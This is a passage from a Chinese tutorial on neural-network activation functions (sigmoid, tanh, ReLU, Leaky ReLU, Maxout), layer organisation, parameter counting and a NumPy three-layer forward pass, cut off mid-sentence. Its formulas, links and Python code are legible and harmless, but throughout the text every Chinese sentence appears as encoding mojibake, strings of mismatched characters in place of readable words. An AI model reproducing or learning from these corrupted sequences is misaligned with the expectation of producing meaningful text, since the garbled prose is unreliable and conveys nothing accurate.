ไธบๅฆ‚ๆžœ่พ“ๅ…ฅ็ฅž็ปๅ…ƒ็š„ๆ•ฐๆฎๆ€ปๆ˜ฏๆญฃๆ•ฐ๏ผˆๆฏ”ๅฆ‚ๅœจ$f=w^Tx+b$ไธญๆฏไธชๅ…ƒ็ด ้ƒฝ$x>0$๏ผ‰๏ผŒ้‚ฃไนˆๅ…ณไบŽ$w$็š„ๆขฏๅบฆๅœจๅๅ‘ไผ ๆ’ญ็š„่ฟ‡็จ‹ไธญ๏ผŒๅฐ†ไผš่ฆไนˆๅ…จ้ƒจๆ˜ฏๆญฃๆ•ฐ๏ผŒ่ฆไนˆๅ…จ้ƒจๆ˜ฏ่ดŸๆ•ฐ๏ผˆๅ…ทไฝ“ไพๆ•ดไธช่กจ่พพๅผ$f$่€Œๅฎš๏ผ‰ใ€‚่ฟ™ๅฐ†ไผšๅฏผ่‡ดๆขฏๅบฆไธ‹้™ๆƒ้‡ๆ›ดๆ–ฐๆ—ถๅ‡บ็Žฐzๅญ—ๅž‹็š„ไธ‹้™ใ€‚็„ถ่€Œ๏ผŒๅฏไปฅ็œ‹ๅˆฐๆ•ดไธชๆ‰น้‡็š„ๆ•ฐๆฎ็š„ๆขฏๅบฆ่ขซๅŠ ่ตทๆฅๅŽ๏ผŒๅฏนไบŽๆƒ้‡็š„ๆœ€็ปˆๆ›ดๆ–ฐๅฐ†ไผšๆœ‰ไธๅŒ็š„ๆญฃ่ดŸ๏ผŒ่ฟ™ๆ ทๅฐฑไปŽไธ€ๅฎš็จ‹ๅบฆไธŠๅ‡่ฝปไบ†่ฟ™ไธช้—ฎ้ข˜ใ€‚ๅ› ๆญค๏ผŒ่ฏฅ้—ฎ้ข˜็›ธๅฏนไบŽไธŠ้ข็š„็ฅž็ปๅ…ƒ้ฅฑๅ’Œ้—ฎ้ข˜ๆฅ่ฏดๅชๆ˜ฏไธชๅฐ้บป็ƒฆ๏ผŒๆฒกๆœ‰้‚ฃไนˆไธฅ้‡ใ€‚\n\n**Tanhใ€‚**tanh้ž็บฟๆ€งๅ‡ฝๆ•ฐๅ›พๅƒๅฆ‚ไธŠๅ›พๅณ่พนๆ‰€็คบใ€‚ๅฎƒๅฐ†ๅฎžๆ•ฐๅ€ผๅŽ‹็ผฉๅˆฐ[-1,1]ไน‹้—ดใ€‚ๅ’Œsigmoid็ฅž็ปๅ…ƒไธ€ๆ ท๏ผŒๅฎƒไนŸๅญ˜ๅœจ้ฅฑๅ’Œ้—ฎ้ข˜๏ผŒไฝ†ๆ˜ฏๅ’Œsigmoid็ฅž็ปๅ…ƒไธๅŒ็š„ๆ˜ฏ๏ผŒๅฎƒ็š„่พ“ๅ‡บๆ˜ฏ้›ถไธญๅฟƒ็š„ใ€‚ๅ› ๆญค๏ผŒ<u>ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒ*tanh้ž็บฟๆ€งๅ‡ฝๆ•ฐๆฏ”sigmoid้ž็บฟๆ€งๅ‡ฝๆ•ฐๆ›ดๅ—ๆฌข่ฟŽ*</u>ใ€‚ๆณจๆ„tanh็ฅž็ปๅ…ƒๆ˜ฏไธ€ไธช็ฎ€ๅ•ๆ”พๅคง็š„sigmoid็ฅž็ปๅ…ƒ๏ผŒๅ…ทไฝ“่ฏดๆฅๅฐฑๆ˜ฏ๏ผš\n$$\ntanh(x)=2\\sigma(2x)-1\n$$\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82c91d86238.png)\n\nๅทฆ่พนๆ˜ฏReLU๏ผˆๆ กๆญฃ็บฟๆ€งๅ•ๅ…ƒ๏ผšRectified Linear Unit๏ผ‰ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผŒๅฝ“$x=0$ๆ—ถๅ‡ฝๆ•ฐๅ€ผไธบ0ใ€‚ๅฝ“![x>0](http://www.zhihu.com/equation?tex=x%3E0)ๅ‡ฝๆ•ฐ็š„ๆ–œ็Ž‡ไธบ1ใ€‚ๅณ่พนๆ˜ฏไปŽ [Krizhevsky](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Efritz/absps/imagenet.pdf)็ญ‰็š„่ฎบๆ–‡ไธญๆˆชๅ–็š„ๅ›พ่กจ๏ผŒๆŒ‡ๆ˜Žไฝฟ็”จReLUๆฏ”ไฝฟ็”จtanh็š„ๆ”ถๆ•›ๅฟซ6ๅ€ใ€‚\n\n---\n\n**ReLUใ€‚**ๅœจ่ฟ‘ไบ›ๅนดReLUๅ˜ๅพ—้žๅธธๆต่กŒใ€‚ๅฎƒ็š„ๅ‡ฝๆ•ฐๅ…ฌๅผๆ˜ฏ\n$$\nf(x)=max(0,x)\n$$\nๆขๅฅ่ฏ่ฏด๏ผŒ่ฟ™ไธชๆฟ€ๆดปๅ‡ฝๆ•ฐๅฐฑๆ˜ฏไธ€ไธชๅ…ณไบŽ0็š„้˜ˆๅ€ผ๏ผˆๅฆ‚ไธŠๅ›พๅทฆไพง๏ผ‰ใ€‚ไฝฟ็”จReLUๆœ‰ไปฅไธ‹ไธ€ไบ›ไผ˜็ผบ็‚น๏ผš\n\n- ไผ˜็‚น๏ผš็›ธ่พƒไบŽsigmoidๅ’Œtanhๅ‡ฝๆ•ฐ๏ผŒReLUๅฏนไบŽ้šๆœบๆขฏๅบฆไธ‹้™็š„ๆ”ถๆ•›ๆœ‰ๅทจๅคง็š„ๅŠ ้€Ÿไฝœ็”จ๏ผˆ [Krizhevsky ](http://link.zhihu.com/?target=http%3A//www.cs.toronto.edu/%7Efritz/absps/imagenet.pdf)็ญ‰็š„่ฎบๆ–‡ๆŒ‡ๅ‡บๆœ‰6ๅ€ไน‹ๅคš๏ผ‰ใ€‚ๆฎ็งฐ่ฟ™ๆ˜ฏ็”ฑๅฎƒ็š„็บฟๆ€ง๏ผŒ้ž้ฅฑๅ’Œ็š„ๅ…ฌๅผๅฏผ่‡ด็š„ใ€‚\n- ไผ˜็‚น๏ผšsigmoidๅ’Œtanh็ฅž็ปๅ…ƒๅซๆœ‰ๆŒ‡ๆ•ฐ่ฟ็ฎ—็ญ‰่€—่ดน่ฎก็ฎ—่ต„ๆบ็š„ๆ“ไฝœ๏ผŒ่€ŒReLUๅฏไปฅ็ฎ€ๅ•ๅœฐ้€š่ฟ‡ๅฏนไธ€ไธช็Ÿฉ้˜ต่ฟ›่กŒ้˜ˆๅ€ผ่ฎก็ฎ—ๅพ—ๅˆฐใ€‚\n- ็ผบ็‚น๏ผšๅœจ่ฎญ็ปƒ็š„ๆ—ถๅ€™๏ผŒReLUๅ•ๅ…ƒๆฏ”่พƒ่„†ๅผฑๅนถไธ”ๅฏ่ƒฝโ€œๆญปๆŽ‰โ€ใ€‚ไธพไพ‹ๆฅ่ฏด๏ผŒๅฝ“ไธ€ไธชๅพˆๅคง็š„ๆขฏๅบฆๆต่ฟ‡ReLU็š„็ฅž็ปๅ…ƒ็š„ๆ—ถๅ€™๏ผŒๅฏ่ƒฝไผšๅฏผ่‡ดๆขฏๅบฆๆ›ดๆ–ฐๅˆฐไธ€็ง็‰นๅˆซ็š„็Šถๆ€๏ผŒๅœจ่ฟ™็ง็Šถๆ€ไธ‹็ฅž็ปๅ…ƒๅฐ†ๆ— ๆณ•่ขซๅ…ถไป–ไปปไฝ•ๆ•ฐๆฎ็‚นๅ†ๆฌกๆฟ€ๆดปใ€‚ๅฆ‚ๆžœ่ฟ™็งๆƒ…ๅ†ตๅ‘็”Ÿ๏ผŒ้‚ฃไนˆไปŽๆญคๆ‰€ไปฅๆต่ฟ‡่ฟ™ไธช็ฅž็ปๅ…ƒ็š„ๆขฏๅบฆๅฐ†้ƒฝๅ˜ๆˆ0ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ่ฟ™ไธชReLUๅ•ๅ…ƒๅœจ่ฎญ็ปƒไธญๅฐ†ไธๅฏ้€†่ฝฌ็š„ๆญปไบก๏ผŒๅ› ไธบ่ฟ™ๅฏผ่‡ดไบ†ๆ•ฐๆฎๅคšๆ ทๅŒ–็š„ไธขๅคฑใ€‚ไพ‹ๅฆ‚๏ผŒๅฆ‚ๆžœๅญฆไน ็Ž‡่ฎพ็ฝฎๅพ—ๅคช้ซ˜๏ผŒๅฏ่ƒฝไผšๅ‘็Žฐ็ฝ‘็ปœไธญ40%็š„็ฅž็ปๅ…ƒ้ƒฝไผšๆญปๆŽ‰๏ผˆๅœจๆ•ดไธช่ฎญ็ปƒ้›†ไธญ่ฟ™ไบ›็ฅž็ปๅ…ƒ้ƒฝไธไผš่ขซๆฟ€ๆดป๏ผ‰ใ€‚้€š่ฟ‡ๅˆ็†่ฎพ็ฝฎๅญฆไน ็Ž‡๏ผŒ่ฟ™็งๆƒ…ๅ†ต็š„ๅ‘็”Ÿๆฆ‚็Ž‡ไผš้™ไฝŽใ€‚\n\n**Leaky ReLUใ€‚**Leaky ReLUๆ˜ฏไธบ่งฃๅ†ณโ€œReLUๆญปไบกโ€้—ฎ้ข˜็š„ๅฐ่ฏ•ใ€‚ReLUไธญๅฝ“x<0ๆ—ถ๏ผŒๅ‡ฝๆ•ฐๅ€ผไธบ0ใ€‚่€ŒLeaky ReLUๅˆ™ๆ˜ฏ็ป™ๅ‡บไธ€ไธชๅพˆๅฐ็š„่ดŸๆ•ฐๆขฏๅบฆๅ€ผ๏ผŒๆฏ”ๅฆ‚0.01ใ€‚ๆ‰€ไปฅๅ…ถๅ‡ฝๆ•ฐๅ…ฌๅผไธบ\n$$\nf(x)=1(x<0)(\\alpha x)+1(x>=0)(x)\n$$\nๅ…ถไธญ$\\alpha$ๆ˜ฏไธ€ไธชๅฐ็š„ๅธธ้‡ใ€‚ๆœ‰ไบ›็ ”็ฉถ่€…็š„่ฎบๆ–‡ๆŒ‡ๅ‡บ่ฟ™ไธชๆฟ€ๆดปๅ‡ฝๆ•ฐ่กจ็Žฐๅพˆไธ้”™๏ผŒไฝ†ๆ˜ฏๅ…ถๆ•ˆๆžœๅนถไธๆ˜ฏๅพˆ็จณๅฎšใ€‚Kaiming He็ญ‰ไบบๅœจ2015ๅนดๅ‘ๅธƒ็š„่ฎบๆ–‡[Delving Deep into Rectifiers](http://link.zhihu.com/?target=http%3A//arxiv.org/abs/1502.01852)ไธญไป‹็ปไบ†ไธ€็งๆ–ฐๆ–นๆณ•PReLU๏ผŒๆŠŠ่ดŸๅŒบ้—ดไธŠ็š„ๆ–œ็Ž‡ๅฝ“ๅšๆฏไธช็ฅž็ปๅ…ƒไธญ็š„ไธ€ไธชๅ‚ๆ•ฐใ€‚็„ถ่€Œ่ฏฅๆฟ€ๆดปๅ‡ฝๆ•ฐๅœจไธๅŒไปปๅŠกไธญๅ‡ๆœ‰็›Šๅค„็š„ไธ€่‡ดๆ€งๅนถๆฒกๆœ‰็‰นๅˆซๆธ…ๆ™ฐใ€‚\n\n**Maxoutใ€‚**ไธ€ไบ›ๅ…ถไป–็ฑปๅž‹็š„ๅ•ๅ…ƒ่ขซๆไบ†ๅ‡บๆฅ๏ผŒๅฎƒไปฌๅฏนไบŽๆƒ้‡ๅ’Œๆ•ฐๆฎ็š„ๅ†…็งฏ็ป“ๆžœไธๅ†ไฝฟ็”จ$f(w^Tx+b)$ๅ‡ฝๆ•ฐๅฝขๅผใ€‚ไธ€ไธช็›ธๅ…ณ็š„ๆต่กŒ้€‰ๆ‹ฉๆ˜ฏMaxout๏ผˆๆœ€่ฟ‘็”ฑ[Goodfellow](http://link.zhihu.com/?target=http%3A//www-etud.iro.umontreal.ca/%7Egoodfeli/maxout.html)็ญ‰ๅ‘ๅธƒ๏ผ‰็ฅž็ปๅ…ƒใ€‚Maxoutๆ˜ฏๅฏนReLUๅ’Œleaky ReLU็š„ไธ€่ˆฌๅŒ–ๅฝ’็บณ๏ผŒๅฎƒ็š„ๅ‡ฝๆ•ฐๆ˜ฏ๏ผš$max(w^T_1x+b_1,w^T_2x+b_2)$ใ€‚ReLUๅ’ŒLeaky ReLU้ƒฝๆ˜ฏ่ฟ™ไธชๅ…ฌๅผ็š„็‰นๆฎŠๆƒ…ๅ†ต๏ผˆๆฏ”ๅฆ‚ReLUๅฐฑๆ˜ฏๅฝ“$w_1,b_1=0$็š„ๆ—ถๅ€™๏ผ‰ใ€‚่ฟ™ๆ ทMaxout็ฅž็ปๅ…ƒๅฐฑๆ‹ฅๆœ‰ReLUๅ•ๅ…ƒ็š„ๆ‰€ๆœ‰ไผ˜็‚น๏ผˆ็บฟๆ€งๆ“ไฝœๅ’Œไธ้ฅฑๅ’Œ๏ผ‰๏ผŒ่€Œๆฒกๆœ‰ๅฎƒ็š„็ผบ็‚น๏ผˆๆญปไบก็š„ReLUๅ•ๅ…ƒ๏ผ‰ใ€‚็„ถ่€Œๅ’ŒReLUๅฏนๆฏ”๏ผŒๅฎƒๆฏไธช็ฅž็ปๅ…ƒ็š„ๅ‚ๆ•ฐๆ•ฐ้‡ๅขžๅŠ ไบ†ไธ€ๅ€๏ผŒ่ฟ™ๅฐฑๅฏผ่‡ดๆ•ดไฝ“ๅ‚ๆ•ฐ็š„ๆ•ฐ้‡ๆฟ€ๅขžใ€‚\n\nไปฅไธŠๅฐฑๆ˜ฏไธ€ไบ›ๅธธ็”จ็š„็ฅž็ปๅ…ƒๅŠๅ…ถๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚ๆœ€ๅŽ้œ€่ฆๆณจๆ„ไธ€็‚น๏ผšๅœจๅŒไธ€ไธช็ฝ‘็ปœไธญๆททๅˆไฝฟ็”จไธๅŒ็ฑปๅž‹็š„็ฅž็ปๅ…ƒๆ˜ฏ้žๅธธๅฐ‘่ง็š„๏ผŒ่™ฝ็„ถๆฒกๆœ‰ไป€ไนˆๆ นๆœฌๆ€ง้—ฎ้ข˜ๆฅ็ฆๆญข่ฟ™ๆ ทๅšใ€‚\n\n**ไธ€ๅฅ่ฏ**๏ผš<u>โ€œ*้‚ฃไนˆ่ฏฅ็”จ้‚ฃ็งๅ‘ข๏ผŸ*โ€็”จReLU้ž็บฟๆ€งๅ‡ฝๆ•ฐใ€‚</u>ๆณจๆ„่ฎพ็ฝฎๅฅฝๅญฆไน ็Ž‡๏ผŒๆˆ–่ฎธๅฏไปฅ็›‘ๆŽงไฝ ็š„็ฝ‘็ปœไธญๆญปไบก็š„็ฅž็ปๅ…ƒๅ ็š„ๆฏ”ไพ‹ใ€‚ๅฆ‚ๆžœๅ•ๅ…ƒๆญปไบก้—ฎ้ข˜ๅ›ฐๆ‰ฐไฝ ๏ผŒๅฐฑ่ฏ•่ฏ•Leaky ReLUๆˆ–่€…Maxout๏ผŒไธ่ฆๅ†็”จsigmoidไบ†ใ€‚ไนŸๅฏไปฅ่ฏ•่ฏ•tanh๏ผŒไฝ†ๆ˜ฏๅ…ถๆ•ˆๆžœๅบ”่ฏฅไธๅฆ‚ReLUๆˆ–่€…Maxoutใ€‚\n\n\n\n## ็ฅž็ป็ฝ‘็ปœ็ป“ๆž„\n\n### ็ตๆดปๅœฐ็ป„็ป‡ๅฑ‚\n\n**ๅฐ†็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•ไปฅ็ฅž็ปๅ…ƒ็š„ๅฝขๅผๅ›พๅฝขๅŒ–ใ€‚**็ฅž็ป็ฝ‘็ปœ่ขซๅปบๆจกๆˆ็ฅž็ปๅ…ƒ็š„้›†ๅˆ๏ผŒ็ฅž็ปๅ…ƒไน‹้—ดไปฅ<u>ๆ— ็Žฏๅ›พ</u>็š„ๅฝขๅผ่ฟ›่กŒ่ฟžๆŽฅใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒไธ€ไบ›็ฅž็ปๅ…ƒ็š„่พ“ๅ‡บๆ˜ฏๅฆไธ€ไบ›็ฅž็ปๅ…ƒ็š„่พ“ๅ…ฅใ€‚ๅœจ็ฝ‘็ปœไธญๆ˜ฏไธๅ…่ฎธๅพช็Žฏ็š„๏ผŒๅ› ไธบ่ฟ™ๆ ทไผšๅฏผ่‡ดๅ‰ๅ‘ไผ ๆ’ญ็š„ๆ— ้™ๅพช็Žฏใ€‚<u>้€šๅธธ็ฅž็ป็ฝ‘็ปœๆจกๅž‹ไธญ็ฅž็ปๅ…ƒๆ˜ฏๅˆ†ๅฑ‚็š„</u>๏ผŒ่€Œไธๆ˜ฏๅƒ็”Ÿ็‰ฉ็ฅž็ปๅ…ƒไธ€ๆ ท่šๅˆๆˆๅคงๅฐไธไธ€็š„ๅ›ข็Šถใ€‚ๅฏนไบŽๆ™ฎ้€š็ฅž็ป็ฝ‘็ปœ๏ผŒๆœ€ๆ™ฎ้€š็š„ๅฑ‚็š„็ฑปๅž‹ๆ˜ฏ**ๅ…จ่ฟžๆŽฅๅฑ‚๏ผˆfully-connected layer๏ผ‰**ใ€‚ๅ…จ่ฟžๆŽฅๅฑ‚ไธญ็š„็ฅž็ปๅ…ƒไธŽๅ…ถๅ‰ๅŽไธคๅฑ‚็š„็ฅž็ปๅ…ƒๆ˜ฏๅฎŒๅ…จๆˆๅฏน่ฟžๆŽฅ็š„๏ผŒไฝ†ๆ˜ฏๅœจๅŒไธ€ไธชๅ…จ่ฟžๆŽฅๅฑ‚ๅ†…็š„็ฅž็ปๅ…ƒไน‹้—ดๆฒกๆœ‰่ฟžๆŽฅใ€‚ไธ‹้ขๆ˜ฏไธคไธช็ฅž็ป็ฝ‘็ปœ็š„ๅ›พไพ‹๏ผŒ้ƒฝไฝฟ็”จ็š„ๅ…จ่ฟžๆŽฅๅฑ‚๏ผš\n\n---\n\n![](https://i.loli.net/2018/08/26/5b82c92da15ff.png)\n\nๅทฆ่พนๆ˜ฏไธ€ไธช2ๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผŒ้šๅฑ‚็”ฑ4ไธช็ฅž็ปๅ…ƒ๏ผˆไนŸๅฏ็งฐไธบๅ•ๅ…ƒ๏ผˆunit๏ผ‰๏ผ‰็ป„ๆˆ๏ผŒ่พ“ๅ‡บๅฑ‚็”ฑ2ไธช็ฅž็ปๅ…ƒ็ป„ๆˆ๏ผŒ่พ“ๅ…ฅๅฑ‚ๆ˜ฏ3ไธช็ฅž็ปๅ…ƒใ€‚ๅณ่พนๆ˜ฏไธ€ไธช3ๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผŒไธคไธชๅซ4ไธช็ฅž็ปๅ…ƒ็š„้šๅฑ‚ใ€‚<u>ๆณจๆ„๏ผšๅฑ‚ไธŽๅฑ‚ไน‹้—ด็š„็ฅž็ปๅ…ƒๆ˜ฏๅ…จ่ฟžๆŽฅ็š„๏ผŒไฝ†ๆ˜ฏๅฑ‚ๅ†…็š„็ฅž็ปๅ…ƒไธ่ฟžๆŽฅใ€‚</u>\n\n---\n\n**ๅ‘ฝๅ่ง„ๅˆ™ใ€‚**ๅฝ“ๆˆ‘ไปฌ่ฏดNๅฑ‚็ฅž็ป็ฝ‘็ปœ็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌๆฒกๆœ‰ๆŠŠ่พ“ๅ…ฅๅฑ‚็ฎ—ๅ…ฅใ€‚ๅ› ๆญค๏ผŒๅ•ๅฑ‚็š„็ฅž็ป็ฝ‘็ปœๅฐฑๆ˜ฏๆฒกๆœ‰้šๅฑ‚็š„๏ผˆ่พ“ๅ…ฅ็›ดๆŽฅๆ˜ ๅฐ„ๅˆฐ่พ“ๅ‡บ๏ผ‰ใ€‚ๅ› ๆญค๏ผŒๆœ‰็š„็ ”็ฉถ่€…ไผš่ฏด้€ป่พ‘ๅ›žๅฝ’ๆˆ–่€…SVMๅชๆ˜ฏๅ•ๅฑ‚็ฅž็ป็ฝ‘็ปœ็š„ไธ€ไธช็‰นไพ‹ใ€‚็ ”็ฉถ่€…ไปฌไนŸไผšไฝฟ็”จ*ไบบๅทฅ็ฅž็ป็ฝ‘็ปœ๏ผˆ*Artificial Neural Networks *็ผฉๅ†™ANN๏ผ‰*ๆˆ–่€…*ๅคšๅฑ‚ๆ„Ÿ็Ÿฅๅ™จ๏ผˆ*Multi-Layer Perceptrons *็ผฉๅ†™MLP๏ผ‰*ๆฅๆŒ‡ไปฃ็ฅž็ป็ฝ‘็ปœใ€‚ๅพˆๅคš็ ”็ฉถ่€…ๅนถไธๅ–œๆฌข็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•ๅ’Œไบบ็ฑปๅคง่„‘ไน‹้—ด็š„็ฑปๆฏ”๏ผŒไป–ไปฌๆ›ดๅ€พๅ‘ไบŽ็”จ*ๅ•ๅ…ƒ๏ผˆunit๏ผ‰*่€Œไธๆ˜ฏ็ฅž็ปๅ…ƒไฝœไธบๆœฏ่ฏญใ€‚\n\n**่พ“ๅ‡บๅฑ‚ใ€‚**ๅ’Œ็ฅž็ป็ฝ‘็ปœไธญๅ…ถไป–ๅฑ‚ไธๅŒ๏ผŒ่พ“ๅ‡บๅฑ‚็š„็ฅž็ปๅ…ƒไธ€่ˆฌๆ˜ฏไธไผšๆœ‰ๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„๏ผˆๆˆ–่€…ไนŸๅฏไปฅ่ฎคไธบๅฎƒไปฌๆœ‰ไธ€ไธช็บฟๆ€ง็›ธ็ญ‰็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ผ‰ใ€‚่ฟ™ๆ˜ฏๅ› ไธบๆœ€ๅŽ็š„่พ“ๅ‡บๅฑ‚ๅคงๅคš็”จไบŽ่กจ็คบๅˆ†็ฑป่ฏ„ๅˆ†ๅ€ผ๏ผŒๅ› ๆญคๆ˜ฏไปปๆ„ๅ€ผ็š„ๅฎžๆ•ฐ๏ผŒๆˆ–่€…ๆŸ็งๅฎžๆ•ฐๅ€ผ็š„็›ฎๆ ‡ๆ•ฐ๏ผˆๆฏ”ๅฆ‚ๅœจๅ›žๅฝ’ไธญ๏ผ‰ใ€‚\n\n**็กฎๅฎš็ฝ‘็ปœๅฐบๅฏธใ€‚**็”จๆฅๅบฆ้‡็ฅž็ป็ฝ‘็ปœ็š„ๅฐบๅฏธ็š„ๆ ‡ๅ‡†ไธป่ฆๆœ‰ไธคไธช๏ผšไธ€ไธชๆ˜ฏ็ฅž็ปๅ…ƒ็š„ไธชๆ•ฐ๏ผŒๅฆไธ€ไธชๆ˜ฏๅ‚ๆ•ฐ็š„ไธชๆ•ฐ๏ผŒ็”จไธŠ้ขๅ›พ็คบ็š„ไธคไธช็ฝ‘็ปœไธพไพ‹๏ผš\n\n- ็ฌฌไธ€ไธช็ฝ‘็ปœๆœ‰4+2=6ไธช็ฅž็ปๅ…ƒ๏ผˆ่พ“ๅ…ฅๅฑ‚ไธ็ฎ—๏ผ‰๏ผŒ[3x4]+[4x2]=20ไธชๆƒ้‡๏ผŒ่ฟ˜ๆœ‰4+2=6ไธชๅ็ฝฎ๏ผŒๅ…ฑ26ไธชๅฏๅญฆไน ็š„ๅ‚ๆ•ฐใ€‚\n- ็ฌฌไบŒไธช็ฝ‘็ปœๆœ‰4+4+1=9ไธช็ฅž็ปๅ…ƒ๏ผŒ[3x4]+[4x4]+[4x1]=32ไธชๆƒ้‡๏ผŒ4+4+1=9ไธชๅ็ฝฎ๏ผŒๅ…ฑ41ไธชๅฏๅญฆไน ็š„ๅ‚ๆ•ฐใ€‚ \n\nไธบไบ†ๆ–นไพฟๅฏนๆฏ”๏ผŒ็Žฐไปฃๅท็งฏ็ฅž็ป็ฝ‘็ปœ่ƒฝๅŒ…ๅซ็บฆ1ไบฟไธชๅ‚ๆ•ฐ๏ผŒๅฏ็”ฑ10-20ๅฑ‚ๆž„ๆˆ๏ผˆ่ฟ™ๅฐฑๆ˜ฏๆทฑๅบฆๅญฆไน ๏ผ‰ใ€‚็„ถ่€Œ๏ผŒ*ๆœ‰ๆ•ˆ๏ผˆeffective๏ผ‰*่ฟžๆŽฅ็š„ไธชๆ•ฐๅ› ไธบๅ‚ๆ•ฐๅ…ฑไบซ็š„็ผ˜ๆ•…ๅคงๅคงๅขžๅคšใ€‚ๅœจๅŽ้ข็š„ๅท็งฏ็ฅž็ป็ฝ‘็ปœๅ†…ๅฎนไธญๆˆ‘ไปฌๅฐ†ๅญฆไน ๆ›ดๅคšใ€‚\n\n### ๅ‰ๅ‘ไผ ๆ’ญ่ฎก็ฎ—ไธพไพ‹\n\n*ไธๆ–ญ้‡ๅค็š„็Ÿฉ้˜ตไน˜ๆณ•ไธŽๆฟ€ๆดปๅ‡ฝๆ•ฐไบค็ป‡*ใ€‚ๅฐ†็ฅž็ป็ฝ‘็ปœ็ป„็ป‡ๆˆๅฑ‚็Šถ็š„ไธ€ไธชไธป่ฆๅŽŸๅ› ๏ผŒๅฐฑๆ˜ฏ่ฟ™ไธช็ป“ๆž„่ฎฉ็ฅž็ป็ฝ‘็ปœ็ฎ—ๆณ•ไฝฟ็”จ็Ÿฉ้˜ตๅ‘้‡ๆ“ไฝœๅ˜ๅพ—็ฎ€ๅ•ๅ’Œ้ซ˜ๆ•ˆใ€‚็”จไธŠ้ข้‚ฃไธช3ๅฑ‚็ฅž็ป็ฝ‘็ปœไธพไพ‹๏ผŒ่พ“ๅ…ฅๆ˜ฏ[3x1]็š„ๅ‘้‡ใ€‚ไธ€ไธชๅฑ‚ๆ‰€ๆœ‰่ฟžๆŽฅ็š„ๅผบๅบฆๅฏไปฅๅญ˜ๅœจไธ€ไธชๅ•็‹ฌ็š„็Ÿฉ้˜ตไธญใ€‚ๆฏ”ๅฆ‚็ฌฌไธ€ไธช้šๅฑ‚็š„ๆƒ้‡**W1**ๆ˜ฏ[4x3]๏ผŒๆ‰€ๆœ‰ๅ•ๅ…ƒ็š„ๅ็ฝฎๅ‚จๅญ˜ๅœจ**b1**ไธญ๏ผŒๅฐบๅฏธ[4x1]ใ€‚่ฟ™ๆ ท๏ผŒๆฏไธช็ฅž็ปๅ…ƒ็š„ๆƒ้‡้ƒฝๅœจ**W1**็š„ไธ€ไธช่กŒไธญ๏ผŒไบŽๆ˜ฏ็Ÿฉ้˜ตไน˜ๆณ•**np.dot(W1, x)**ๅฐฑ่ƒฝ่ฎก็ฎ—่ฏฅๅฑ‚ไธญๆ‰€ๆœ‰็ฅž็ปๅ…ƒ็š„ๆฟ€ๆดปๆ•ฐๆฎใ€‚็ฑปไผผ็š„๏ผŒ**W2**ๅฐ†ไผšๆ˜ฏ[4x4]็Ÿฉ้˜ต๏ผŒๅญ˜ๅ‚จ็€็ฌฌไบŒไธช้šๅฑ‚็š„่ฟžๆŽฅ๏ผŒ**W3**ๆ˜ฏ[1x4]็š„็Ÿฉ้˜ต๏ผŒ็”จไบŽ่พ“ๅ‡บๅฑ‚ใ€‚ๅฎŒๆ•ด็š„3ๅฑ‚็ฅž็ป็ฝ‘็ปœ็š„ๅ‰ๅ‘ไผ ๆ’ญๅฐฑๆ˜ฏ็ฎ€ๅ•็š„3ๆฌก็Ÿฉ้˜ตไน˜ๆณ•๏ผŒๅ…ถไธญไบค็ป‡็€ๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„ๅบ”็”จใ€‚\n\n```python\n# ไธ€ไธช3ๅฑ‚็ฅž็ป็ฝ‘็ปœ็š„ๅ‰ๅ‘ไผ ๆ’ญ:\nf = lambda x: 1.0/(1.0 + np.exp(-x)) # ๆฟ€ๆดปๅ‡ฝๆ•ฐ(็”จ็š„sigmoid)\nx = np.random.randn(3, 1) # ๅซ3ไธชๆ•ฐๅญ—็š„้šๆœบ่พ“ๅ…ฅๅ‘้‡(3x1)\nh1 = f(np.dot(W1, x) + b1) # ่ฎก็ฎ—็ฌฌไธ€ไธช้šๅฑ‚็š„ๆฟ€ๆดปๆ•ฐๆฎ(4x1)\nh2 = f(np.dot(W2, h1) + b2) # ่ฎก็ฎ—็ฌฌไบŒไธช้šๅฑ‚็š„ๆฟ€ๆดปๆ•ฐๆฎ(4x1)\nout = np.dot(W3, h2) + b3 # ็ฅž็ปๅ…ƒ่พ“ๅ‡บ(1x1)\n# ๅฏไปฅ็œ‹ๅˆฐๆœ€ๅŽ็š„่พ“ๅ‡บๅฑ‚ๆฒกๆœ‰ๅ†็”จๆฟ€ๆดปๅ‡ฝๆ•ฐ๏ฝž\n```\n\nๅœจไธŠ้ข็š„ไปฃ็ ไธญ๏ผŒ**W1๏ผŒW2๏ผŒW3๏ผŒb1๏ผŒb2๏ผŒb3**้ƒฝๆ˜ฏ็ฝ‘็ปœไธญๅฏไปฅๅญฆไน ็š„ๅ‚ๆ•ฐใ€‚ๆณจๆ„**x**ๅนถไธๆ˜ฏไธ€ไธชๅ•็‹ฌ็š„ๅˆ—ๅ‘้‡๏ผŒ่€Œๅฏไปฅๆ˜ฏไธ€ไธชๆ‰น้‡็š„่ฎญ็ปƒๆ•ฐๆฎ๏ผˆๅ…ถไธญๆฏไธช่พ“ๅ…ฅๆ ทๆœฌๅฐ†ไผšๆ˜ฏ**x**ไธญ็š„ไธ€ๅˆ—๏ผ‰๏ผŒๆ‰€ๆœ‰็š„ๆ ทๆœฌๅฐ†ไผš่ขซๅนถ่กŒๅŒ–็š„้ซ˜ๆ•ˆ่ฎก็ฎ—ๅ‡บๆฅใ€‚<u>ๆณจๆ„็ฅž็ป็ฝ‘็ปœๆœ€ๅŽไธ€ๅฑ‚้€šๅธธๆ˜ฏๆฒกๆœ‰ๆฟ€ๆดปๅ‡ฝๆ•ฐ็š„</u>๏ผˆไพ‹ๅฆ‚๏ผŒๅœจๅˆ†็ฑปไปปๅŠกไธญๅฎƒ็ป™ๅ‡บไธ€ไธชๅฎžๆ•ฐๅ€ผ็š„ๅˆ†็ฑป่ฏ„ๅˆ†๏ผ‰ใ€‚\n\n> ๅ…จ่ฟžๆŽฅๅฑ‚็š„ๅ‰ๅ‘ไผ 